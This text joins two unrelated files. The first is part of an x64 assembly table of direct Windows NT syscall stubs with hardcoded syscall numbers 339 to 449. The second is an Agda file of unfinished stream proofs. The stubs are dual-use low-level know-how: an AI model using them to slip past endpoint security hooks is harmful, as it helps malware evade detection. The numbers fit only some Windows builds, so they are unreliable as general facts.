ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtRaiseException PROC STDCALL mov r10 , rcx mov eax , 339 ;syscall db 0Fh , 05h ret NtRaiseException ENDP ; ULONG64 __stdcall NtRaiseHardError( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtRaiseHardError PROC STDCALL mov r10 , rcx mov eax , 340 ;syscall db 0Fh , 05h ret NtRaiseHardError ENDP ; ULONG64 __stdcall NtReadOnlyEnlistment( ULONG64 arg_01 , ULONG64 arg_02 ); NtReadOnlyEnlistment PROC STDCALL mov r10 , rcx mov eax , 341 ;syscall db 0Fh , 05h ret NtReadOnlyEnlistment ENDP ; ULONG64 __stdcall NtRecoverEnlistment( ULONG64 arg_01 , ULONG64 arg_02 ); NtRecoverEnlistment PROC STDCALL mov r10 , rcx mov eax , 342 ;syscall db 0Fh , 05h ret NtRecoverEnlistment ENDP ; ULONG64 __stdcall NtRecoverResourceManager( ULONG64 arg_01 ); NtRecoverResourceManager PROC STDCALL mov r10 , rcx mov eax , 343 ;syscall db 0Fh , 05h ret NtRecoverResourceManager ENDP ; ULONG64 __stdcall NtRecoverTransactionManager( ULONG64 arg_01 ); NtRecoverTransactionManager PROC STDCALL mov r10 , rcx mov eax , 344 ;syscall db 0Fh , 05h ret NtRecoverTransactionManager ENDP ; ULONG64 __stdcall NtRegisterProtocolAddressInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtRegisterProtocolAddressInformation PROC STDCALL mov r10 , rcx mov eax , 345 ;syscall db 0Fh , 05h ret NtRegisterProtocolAddressInformation ENDP ; ULONG64 __stdcall NtRegisterThreadTerminatePort( ULONG64 arg_01 ); NtRegisterThreadTerminatePort PROC STDCALL mov r10 , rcx mov eax , 346 ;syscall db 0Fh , 05h ret NtRegisterThreadTerminatePort ENDP ; ULONG64 __stdcall NtReleaseKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtReleaseKeyedEvent PROC STDCALL mov r10 , rcx mov eax , 347 ;syscall db 0Fh , 05h ret NtReleaseKeyedEvent ENDP ; ULONG64 __stdcall NtReleaseWorkerFactoryWorker( ULONG64 arg_01 ); NtReleaseWorkerFactoryWorker PROC STDCALL mov r10 , rcx mov eax , 348 ;syscall db 0Fh , 05h ret NtReleaseWorkerFactoryWorker ENDP ; ULONG64 __stdcall NtRemoveIoCompletionEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtRemoveIoCompletionEx PROC STDCALL mov r10 , rcx mov eax , 349 ;syscall db 0Fh , 05h ret NtRemoveIoCompletionEx ENDP ; ULONG64 __stdcall NtRemoveProcessDebug( ULONG64 arg_01 , ULONG64 arg_02 ); NtRemoveProcessDebug PROC STDCALL mov r10 , rcx mov eax , 350 ;syscall db 0Fh , 05h ret NtRemoveProcessDebug ENDP ; ULONG64 __stdcall NtRenameKey( ULONG64 arg_01 , ULONG64 arg_02 ); NtRenameKey PROC STDCALL mov r10 , rcx mov eax , 351 ;syscall db 0Fh , 05h ret NtRenameKey ENDP ; ULONG64 __stdcall NtRenameTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 ); NtRenameTransactionManager PROC STDCALL mov r10 , rcx mov eax , 352 ;syscall db 0Fh , 05h ret NtRenameTransactionManager ENDP ; ULONG64 __stdcall NtReplaceKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtReplaceKey PROC STDCALL mov r10 , rcx mov eax , 353 ;syscall db 0Fh , 05h ret NtReplaceKey ENDP ; ULONG64 __stdcall NtReplacePartitionUnit( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtReplacePartitionUnit PROC STDCALL mov r10 , rcx mov eax , 354 ;syscall db 0Fh , 05h ret NtReplacePartitionUnit ENDP ; ULONG64 __stdcall NtReplyWaitReplyPort( ULONG64 arg_01 , ULONG64 arg_02 ); NtReplyWaitReplyPort PROC STDCALL mov r10 , rcx mov eax , 355 ;syscall db 0Fh , 05h ret NtReplyWaitReplyPort ENDP ; ULONG64 __stdcall NtRequestPort( ULONG64 arg_01 , ULONG64 arg_02 ); NtRequestPort PROC STDCALL mov r10 , rcx mov eax , 356 ;syscall db 0Fh , 05h ret NtRequestPort ENDP ; ULONG64 __stdcall NtResetEvent( ULONG64 arg_01 , ULONG64 arg_02 ); NtResetEvent PROC STDCALL mov r10 , rcx mov eax , 357 ;syscall db 0Fh , 05h ret NtResetEvent ENDP ; ULONG64 __stdcall NtResetWriteWatch( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtResetWriteWatch PROC STDCALL mov r10 , rcx mov eax , 358 ;syscall db 0Fh , 05h ret NtResetWriteWatch ENDP ; ULONG64 __stdcall NtRestoreKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtRestoreKey PROC STDCALL mov r10 , rcx mov eax , 359 ;syscall db 0Fh , 05h ret NtRestoreKey ENDP ; ULONG64 __stdcall NtResumeProcess( ULONG64 arg_01 ); NtResumeProcess PROC STDCALL mov r10 , rcx mov eax , 360 ;syscall db 0Fh , 05h ret NtResumeProcess ENDP ; ULONG64 __stdcall NtRevertContainerImpersonation( ); NtRevertContainerImpersonation PROC STDCALL mov r10 , rcx mov eax , 361 ;syscall db 0Fh , 05h ret NtRevertContainerImpersonation ENDP ; ULONG64 __stdcall NtRollbackComplete( ULONG64 arg_01 , ULONG64 arg_02 ); NtRollbackComplete PROC STDCALL mov r10 , rcx mov eax , 362 ;syscall db 0Fh , 05h ret NtRollbackComplete ENDP ; ULONG64 __stdcall NtRollbackEnlistment( ULONG64 arg_01 , ULONG64 arg_02 ); NtRollbackEnlistment PROC STDCALL mov r10 , rcx mov eax , 363 ;syscall db 0Fh , 05h ret NtRollbackEnlistment ENDP ; ULONG64 __stdcall NtRollbackRegistryTransaction( ULONG64 arg_01 , ULONG64 arg_02 ); NtRollbackRegistryTransaction PROC STDCALL mov r10 , rcx mov eax , 364 ;syscall db 0Fh , 05h ret NtRollbackRegistryTransaction ENDP ; ULONG64 __stdcall NtRollbackTransaction( ULONG64 arg_01 , ULONG64 arg_02 ); NtRollbackTransaction PROC STDCALL mov r10 , rcx mov eax , 365 ;syscall db 0Fh , 05h ret NtRollbackTransaction ENDP ; ULONG64 __stdcall NtRollforwardTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 ); NtRollforwardTransactionManager PROC STDCALL mov r10 , rcx mov eax , 366 ;syscall db 0Fh , 05h ret NtRollforwardTransactionManager ENDP ; ULONG64 __stdcall NtSaveKey( ULONG64 arg_01 , ULONG64 arg_02 ); NtSaveKey PROC STDCALL mov r10 , rcx mov eax , 367 ;syscall db 0Fh , 05h ret NtSaveKey ENDP ; ULONG64 __stdcall NtSaveKeyEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtSaveKeyEx PROC STDCALL mov r10 , rcx mov eax , 368 ;syscall db 0Fh , 05h ret NtSaveKeyEx ENDP ; ULONG64 __stdcall NtSaveMergedKeys( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtSaveMergedKeys PROC STDCALL mov r10 , rcx mov eax , 369 ;syscall db 0Fh , 05h ret NtSaveMergedKeys ENDP ; ULONG64 __stdcall NtSecureConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); NtSecureConnectPort PROC STDCALL mov r10 , rcx mov eax , 370 ;syscall db 0Fh , 05h ret NtSecureConnectPort ENDP ; ULONG64 __stdcall NtSerializeBoot( ); NtSerializeBoot PROC STDCALL mov r10 , rcx mov eax , 371 ;syscall db 0Fh , 05h ret NtSerializeBoot ENDP ; ULONG64 __stdcall NtSetBootEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 ); NtSetBootEntryOrder PROC STDCALL mov r10 , rcx mov eax , 372 ;syscall db 0Fh , 05h ret NtSetBootEntryOrder ENDP ; ULONG64 __stdcall NtSetBootOptions( ULONG64 arg_01 , ULONG64 arg_02 ); NtSetBootOptions PROC STDCALL mov r10 , rcx mov eax , 373 ;syscall db 0Fh , 05h ret NtSetBootOptions ENDP ; ULONG64 __stdcall NtSetCachedSigningLevel( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtSetCachedSigningLevel PROC STDCALL mov r10 , rcx mov eax , 374 ;syscall db 0Fh , 05h ret NtSetCachedSigningLevel ENDP ; ULONG64 __stdcall NtSetCachedSigningLevel2( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtSetCachedSigningLevel2 PROC STDCALL mov r10 , rcx mov eax , 375 ;syscall db 0Fh , 05h ret NtSetCachedSigningLevel2 ENDP ; ULONG64 __stdcall NtSetContextThread( ULONG64 arg_01 , ULONG64 arg_02 ); NtSetContextThread PROC STDCALL mov r10 , rcx mov eax , 376 ;syscall db 0Fh , 05h ret NtSetContextThread ENDP ; ULONG64 __stdcall NtSetDebugFilterState( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtSetDebugFilterState PROC STDCALL mov r10 , rcx mov eax , 377 ;syscall db 0Fh , 05h ret NtSetDebugFilterState ENDP ; ULONG64 __stdcall NtSetDefaultHardErrorPort( ULONG64 arg_01 ); NtSetDefaultHardErrorPort PROC STDCALL mov r10 , rcx mov eax , 378 ;syscall db 0Fh , 05h ret NtSetDefaultHardErrorPort ENDP ; ULONG64 __stdcall NtSetDefaultLocale( ULONG64 arg_01 , ULONG64 arg_02 ); NtSetDefaultLocale PROC STDCALL mov r10 , rcx mov eax , 379 ;syscall db 0Fh , 05h ret NtSetDefaultLocale ENDP ; ULONG64 __stdcall NtSetDefaultUILanguage( ULONG64 arg_01 ); NtSetDefaultUILanguage PROC STDCALL mov r10 , rcx mov eax , 380 ;syscall db 0Fh , 05h ret NtSetDefaultUILanguage ENDP ; ULONG64 __stdcall NtSetDriverEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 ); NtSetDriverEntryOrder PROC STDCALL mov r10 , rcx mov eax , 381 ;syscall db 0Fh , 05h ret NtSetDriverEntryOrder ENDP ; ULONG64 __stdcall NtSetEaFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetEaFile PROC STDCALL mov r10 , rcx mov eax , 382 ;syscall db 0Fh , 05h ret NtSetEaFile ENDP ; ULONG64 __stdcall NtSetHighEventPair( ULONG64 arg_01 ); NtSetHighEventPair PROC STDCALL mov r10 , rcx mov eax , 383 ;syscall db 0Fh , 05h ret NtSetHighEventPair ENDP ; ULONG64 __stdcall NtSetHighWaitLowEventPair( ULONG64 arg_01 ); NtSetHighWaitLowEventPair PROC STDCALL mov r10 , rcx mov eax , 384 ;syscall db 0Fh , 05h ret NtSetHighWaitLowEventPair ENDP ; ULONG64 __stdcall NtSetIRTimer( ULONG64 arg_01 , ULONG64 arg_02 ); NtSetIRTimer PROC STDCALL mov r10 , rcx mov eax , 385 ;syscall db 0Fh , 05h ret NtSetIRTimer ENDP ; ULONG64 __stdcall NtSetInformationDebugObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtSetInformationDebugObject PROC STDCALL mov r10 , rcx mov eax , 386 ;syscall db 0Fh , 05h ret NtSetInformationDebugObject ENDP ; ULONG64 __stdcall NtSetInformationEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetInformationEnlistment PROC STDCALL mov r10 , rcx mov eax , 387 ;syscall db 0Fh , 05h ret NtSetInformationEnlistment ENDP ; ULONG64 __stdcall NtSetInformationJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetInformationJobObject PROC STDCALL mov r10 , rcx mov eax , 388 ;syscall db 0Fh , 05h ret NtSetInformationJobObject ENDP ; ULONG64 __stdcall NtSetInformationKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetInformationKey PROC STDCALL mov r10 , rcx mov eax , 389 ;syscall db 0Fh , 05h ret NtSetInformationKey ENDP ; ULONG64 __stdcall NtSetInformationResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetInformationResourceManager PROC STDCALL mov r10 , rcx mov eax , 390 ;syscall db 0Fh , 05h ret NtSetInformationResourceManager ENDP ; ULONG64 __stdcall NtSetInformationSymbolicLink( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetInformationSymbolicLink PROC STDCALL mov r10 , rcx mov eax , 391 ;syscall db 0Fh , 05h ret NtSetInformationSymbolicLink ENDP ; ULONG64 __stdcall NtSetInformationToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetInformationToken PROC STDCALL mov r10 , rcx mov eax , 392 ;syscall db 0Fh , 05h ret NtSetInformationToken ENDP ; ULONG64 __stdcall NtSetInformationTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetInformationTransaction PROC STDCALL mov r10 , rcx mov eax , 393 ;syscall db 0Fh , 05h ret NtSetInformationTransaction ENDP ; ULONG64 __stdcall NtSetInformationTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetInformationTransactionManager PROC STDCALL mov r10 , rcx mov eax , 394 ;syscall db 0Fh , 05h ret NtSetInformationTransactionManager ENDP ; ULONG64 __stdcall NtSetInformationVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtSetInformationVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 395 ;syscall db 0Fh , 05h ret NtSetInformationVirtualMemory ENDP ; ULONG64 __stdcall NtSetInformationWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetInformationWorkerFactory PROC STDCALL mov r10 , rcx mov eax , 396 ;syscall db 0Fh , 05h ret NtSetInformationWorkerFactory ENDP ; ULONG64 __stdcall NtSetIntervalProfile( ULONG64 arg_01 , ULONG64 arg_02 ); NtSetIntervalProfile PROC STDCALL mov r10 , rcx mov eax , 397 ;syscall db 0Fh , 05h ret NtSetIntervalProfile ENDP ; ULONG64 __stdcall NtSetIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtSetIoCompletion PROC STDCALL mov r10 , rcx mov eax , 398 ;syscall db 0Fh , 05h ret NtSetIoCompletion ENDP ; ULONG64 __stdcall NtSetIoCompletionEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtSetIoCompletionEx PROC STDCALL mov r10 , rcx mov eax , 399 ;syscall db 0Fh , 05h ret NtSetIoCompletionEx ENDP ; ULONG64 __stdcall NtSetLdtEntries( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtSetLdtEntries PROC STDCALL mov r10 , rcx mov eax , 400 ;syscall db 0Fh , 05h ret NtSetLdtEntries ENDP ; ULONG64 __stdcall NtSetLowEventPair( ULONG64 arg_01 ); NtSetLowEventPair PROC STDCALL mov r10 , rcx mov eax , 401 ;syscall db 0Fh , 05h ret NtSetLowEventPair ENDP ; ULONG64 __stdcall NtSetLowWaitHighEventPair( ULONG64 arg_01 ); NtSetLowWaitHighEventPair PROC STDCALL mov r10 , rcx mov eax , 402 ;syscall db 0Fh , 05h ret NtSetLowWaitHighEventPair ENDP ; ULONG64 __stdcall NtSetQuotaInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetQuotaInformationFile PROC STDCALL mov r10 , rcx mov eax , 403 ;syscall db 0Fh , 05h ret NtSetQuotaInformationFile ENDP ; ULONG64 __stdcall NtSetSecurityObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtSetSecurityObject PROC STDCALL mov r10 , rcx mov eax , 404 ;syscall db 0Fh , 05h ret NtSetSecurityObject ENDP ; ULONG64 __stdcall NtSetSystemEnvironmentValue( ULONG64 arg_01 , ULONG64 arg_02 ); NtSetSystemEnvironmentValue PROC STDCALL mov r10 , rcx mov eax , 405 ;syscall db 0Fh , 05h ret NtSetSystemEnvironmentValue ENDP ; ULONG64 __stdcall NtSetSystemEnvironmentValueEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtSetSystemEnvironmentValueEx PROC STDCALL mov r10 , rcx mov eax , 406 ;syscall db 0Fh , 05h ret NtSetSystemEnvironmentValueEx ENDP ; ULONG64 __stdcall NtSetSystemInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtSetSystemInformation PROC STDCALL mov r10 , rcx mov eax , 407 ;syscall db 0Fh , 05h ret NtSetSystemInformation ENDP ; ULONG64 __stdcall NtSetSystemPowerState( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtSetSystemPowerState PROC STDCALL mov r10 , rcx mov eax , 408 ;syscall db 0Fh , 05h ret NtSetSystemPowerState ENDP ; ULONG64 __stdcall NtSetSystemTime( ULONG64 arg_01 , ULONG64 arg_02 ); NtSetSystemTime PROC STDCALL mov r10 , rcx mov eax , 409 ;syscall db 0Fh , 05h ret NtSetSystemTime ENDP ; ULONG64 __stdcall NtSetThreadExecutionState( ULONG64 arg_01 , ULONG64 arg_02 ); NtSetThreadExecutionState PROC STDCALL mov r10 , rcx mov eax , 410 ;syscall db 0Fh , 05h ret NtSetThreadExecutionState ENDP ; ULONG64 __stdcall NtSetTimer2( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetTimer2 PROC STDCALL mov r10 , rcx mov eax , 411 ;syscall db 0Fh , 05h ret NtSetTimer2 ENDP ; ULONG64 __stdcall NtSetTimerEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetTimerEx PROC STDCALL mov r10 , rcx mov eax , 412 ;syscall db 0Fh , 05h ret NtSetTimerEx ENDP ; ULONG64 __stdcall NtSetTimerResolution( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtSetTimerResolution PROC STDCALL mov r10 , rcx mov eax , 413 ;syscall db 0Fh , 05h ret NtSetTimerResolution ENDP ; ULONG64 __stdcall NtSetUuidSeed( ULONG64 arg_01 ); NtSetUuidSeed PROC STDCALL mov r10 , rcx mov eax , 414 ;syscall db 0Fh , 05h ret NtSetUuidSeed ENDP ; ULONG64 __stdcall NtSetVolumeInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtSetVolumeInformationFile PROC STDCALL mov r10 , rcx mov eax , 415 ;syscall db 0Fh , 05h ret NtSetVolumeInformationFile ENDP ; ULONG64 __stdcall NtSetWnfProcessNotificationEvent( ULONG64 arg_01 ); NtSetWnfProcessNotificationEvent PROC STDCALL mov r10 , rcx mov eax , 416 ;syscall db 0Fh , 05h ret NtSetWnfProcessNotificationEvent ENDP ; ULONG64 __stdcall NtShutdownSystem( ULONG64 arg_01 ); NtShutdownSystem PROC STDCALL mov r10 , rcx mov eax , 417 ;syscall db 0Fh , 05h ret NtShutdownSystem ENDP ; ULONG64 __stdcall NtShutdownWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 ); NtShutdownWorkerFactory PROC STDCALL mov r10 , rcx mov eax , 418 ;syscall db 0Fh , 05h ret NtShutdownWorkerFactory ENDP ; ULONG64 __stdcall NtSignalAndWaitForSingleObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSignalAndWaitForSingleObject PROC STDCALL mov r10 , rcx mov eax , 419 ;syscall db 0Fh , 05h ret NtSignalAndWaitForSingleObject ENDP ; ULONG64 __stdcall NtSinglePhaseReject( ULONG64 arg_01 , ULONG64 arg_02 ); NtSinglePhaseReject PROC STDCALL mov r10 , rcx mov eax , 420 ;syscall db 0Fh , 05h ret NtSinglePhaseReject ENDP ; ULONG64 __stdcall NtStartProfile( ULONG64 arg_01 ); NtStartProfile PROC STDCALL mov r10 , rcx mov eax , 421 ;syscall db 0Fh , 05h ret NtStartProfile ENDP ; ULONG64 __stdcall NtStopProfile( ULONG64 arg_01 ); NtStopProfile PROC STDCALL mov r10 , rcx mov eax , 422 ;syscall db 0Fh , 05h ret NtStopProfile ENDP ; ULONG64 __stdcall NtSubscribeWnfStateChange( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSubscribeWnfStateChange PROC STDCALL mov r10 , rcx mov eax , 423 ;syscall db 0Fh , 05h ret NtSubscribeWnfStateChange ENDP ; ULONG64 __stdcall NtSuspendProcess( ULONG64 arg_01 ); NtSuspendProcess PROC STDCALL mov r10 , rcx mov eax , 424 ;syscall db 0Fh , 05h ret NtSuspendProcess ENDP ; ULONG64 __stdcall NtSuspendThread( ULONG64 arg_01 , ULONG64 arg_02 ); NtSuspendThread PROC STDCALL mov r10 , rcx mov eax , 425 ;syscall db 0Fh , 05h ret NtSuspendThread ENDP ; ULONG64 __stdcall NtSystemDebugControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtSystemDebugControl PROC STDCALL mov r10 , rcx mov eax , 426 ;syscall db 0Fh , 05h ret NtSystemDebugControl ENDP ; ULONG64 __stdcall NtTerminateJobObject( ULONG64 arg_01 , ULONG64 arg_02 ); NtTerminateJobObject PROC STDCALL mov r10 , rcx mov eax , 427 ;syscall db 0Fh , 05h ret NtTerminateJobObject ENDP ; ULONG64 __stdcall NtTestAlert( ); NtTestAlert PROC STDCALL mov r10 , rcx mov eax , 428 ;syscall db 0Fh , 05h ret NtTestAlert ENDP ; ULONG64 __stdcall NtThawRegistry( ); NtThawRegistry PROC STDCALL mov r10 , rcx mov eax , 429 ;syscall db 0Fh , 05h ret NtThawRegistry ENDP ; ULONG64 __stdcall NtThawTransactions( ); NtThawTransactions PROC STDCALL mov r10 , rcx mov eax , 430 ;syscall db 0Fh , 05h ret NtThawTransactions ENDP ; ULONG64 __stdcall NtTraceControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtTraceControl PROC STDCALL mov r10 , rcx mov eax , 431 ;syscall db 0Fh , 05h ret NtTraceControl ENDP ; ULONG64 __stdcall NtTranslateFilePath( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtTranslateFilePath PROC STDCALL mov r10 , rcx mov eax , 432 ;syscall db 0Fh , 05h ret NtTranslateFilePath ENDP ; ULONG64 __stdcall NtUmsThreadYield( ULONG64 arg_01 ); NtUmsThreadYield PROC STDCALL mov r10 , rcx mov eax , 433 ;syscall db 0Fh , 05h ret NtUmsThreadYield ENDP ; ULONG64 __stdcall NtUnloadDriver( ULONG64 arg_01 ); NtUnloadDriver PROC STDCALL mov r10 , rcx mov eax , 434 ;syscall db 0Fh , 05h ret NtUnloadDriver ENDP ; ULONG64 __stdcall NtUnloadKey( ULONG64 arg_01 ); NtUnloadKey PROC STDCALL mov r10 , rcx mov eax , 435 ;syscall db 0Fh , 05h ret NtUnloadKey ENDP ; ULONG64 __stdcall NtUnloadKey2( ULONG64 arg_01 , ULONG64 arg_02 ); NtUnloadKey2 PROC STDCALL mov r10 , rcx mov eax , 436 ;syscall db 0Fh , 05h ret NtUnloadKey2 ENDP ; ULONG64 __stdcall NtUnloadKeyEx( ULONG64 arg_01 , ULONG64 arg_02 ); NtUnloadKeyEx PROC STDCALL mov r10 , rcx mov eax , 437 ;syscall db 0Fh , 05h ret NtUnloadKeyEx ENDP ; ULONG64 __stdcall NtUnlockFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtUnlockFile PROC STDCALL mov r10 , rcx mov eax , 438 ;syscall db 0Fh , 05h ret NtUnlockFile ENDP ; ULONG64 __stdcall NtUnlockVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtUnlockVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 439 ;syscall db 0Fh , 05h ret NtUnlockVirtualMemory ENDP ; ULONG64 __stdcall NtUnmapViewOfSectionEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtUnmapViewOfSectionEx PROC STDCALL mov r10 , rcx mov eax , 440 ;syscall db 0Fh , 05h ret NtUnmapViewOfSectionEx ENDP ; ULONG64 __stdcall NtUnsubscribeWnfStateChange( ULONG64 arg_01 ); NtUnsubscribeWnfStateChange PROC STDCALL mov r10 , rcx mov eax , 441 ;syscall db 0Fh , 05h ret NtUnsubscribeWnfStateChange ENDP ; ULONG64 __stdcall NtUpdateWnfStateData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); NtUpdateWnfStateData PROC STDCALL mov r10 , rcx mov eax , 442 ;syscall db 0Fh , 05h ret NtUpdateWnfStateData ENDP ; ULONG64 __stdcall NtVdmControl( ULONG64 arg_01 , ULONG64 arg_02 ); NtVdmControl PROC STDCALL mov r10 , rcx mov eax , 443 ;syscall db 0Fh , 05h ret NtVdmControl ENDP ; ULONG64 __stdcall NtWaitForAlertByThreadId( ULONG64 arg_01 , ULONG64 arg_02 ); NtWaitForAlertByThreadId PROC STDCALL mov r10 , rcx mov eax , 444 ;syscall db 0Fh , 05h ret NtWaitForAlertByThreadId ENDP ; ULONG64 __stdcall NtWaitForDebugEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtWaitForDebugEvent PROC STDCALL mov r10 , rcx mov eax , 445 ;syscall db 0Fh , 05h ret NtWaitForDebugEvent ENDP ; ULONG64 __stdcall NtWaitForKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtWaitForKeyedEvent PROC STDCALL mov r10 , rcx mov eax , 446 ;syscall db 0Fh , 05h ret NtWaitForKeyedEvent ENDP ; ULONG64 __stdcall NtWaitForWorkViaWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtWaitForWorkViaWorkerFactory PROC STDCALL mov r10 , rcx mov eax , 447 ;syscall db 0Fh , 05h ret NtWaitForWorkViaWorkerFactory ENDP ; ULONG64 __stdcall NtWaitHighEventPair( ULONG64 arg_01 ); NtWaitHighEventPair PROC STDCALL mov r10 , rcx mov eax , 448 ;syscall db 0Fh , 05h ret NtWaitHighEventPair ENDP ; ULONG64 __stdcall NtWaitLowEventPair( ULONG64 arg_01 ); NtWaitLowEventPair PROC STDCALL mov r10 , rcx mov eax , 449 ;syscall db 0Fh , 05h ret NtWaitLowEventPair ENDP
notes/FOT/FOTC/UnguardedCorecursion/Alter/PropertiesATP.agda
asr/fotc
11
11348
------------------------------------------------------------------------------ -- Properties of the alter list ------------------------------------------------------------------------------ {-# OPTIONS --exact-split #-} {-# OPTIONS --no-sized-types #-} {-# OPTIONS --no-universe-polymorphism #-} {-# OPTIONS --without-K #-} module FOT.FOTC.UnguardedCorecursion.Alter.PropertiesATP where open import FOT.FOTC.UnguardedCorecursion.Alter.Alter open import FOTC.Base open import FOTC.Base.List open import FOTC.Data.Stream.Type open import FOTC.Relation.Binary.Bisimilarity.Type ------------------------------------------------------------------------------ -- TODO (23 December 2013). -- alter-Stream : Stream alter -- alter-Stream = Stream-coind A h refl -- where -- A : D → Set -- A xs = xs ≡ xs -- {-# ATP definition A #-} -- postulate h : A alter → ∃[ x' ] ∃[ xs' ] alter ≡ x' ∷ xs' ∧ A xs' -- {-# ATP prove h #-} -- TODO (23 December 2013). -- alter'-Stream : Stream alter' -- alter'-Stream = Stream-coind A h refl -- where -- A : D → Set -- A xs = xs ≡ xs -- {-# ATP definition A #-} -- postulate h : A alter' → ∃[ x' ] ∃[ xs' ] alter' ≡ x' ∷ xs' ∧ A xs' -- {-# ATP prove h #-} -- TODO (23 December 2013). -- alter≈alter' : alter ≈ alter' -- alter≈alter' = ≈-coind B h₁ h₂ -- where -- B : D → D → Set -- B xs ys = xs ≡ xs -- {-# ATP definition B #-} -- postulate h₁ : B alter alter' → ∃[ x' ] ∃[ xs' ] ∃[ ys' ] -- alter ≡ x' ∷ xs' ∧ alter' ≡ x' ∷ ys' ∧ B xs' ys' -- {-# ATP prove 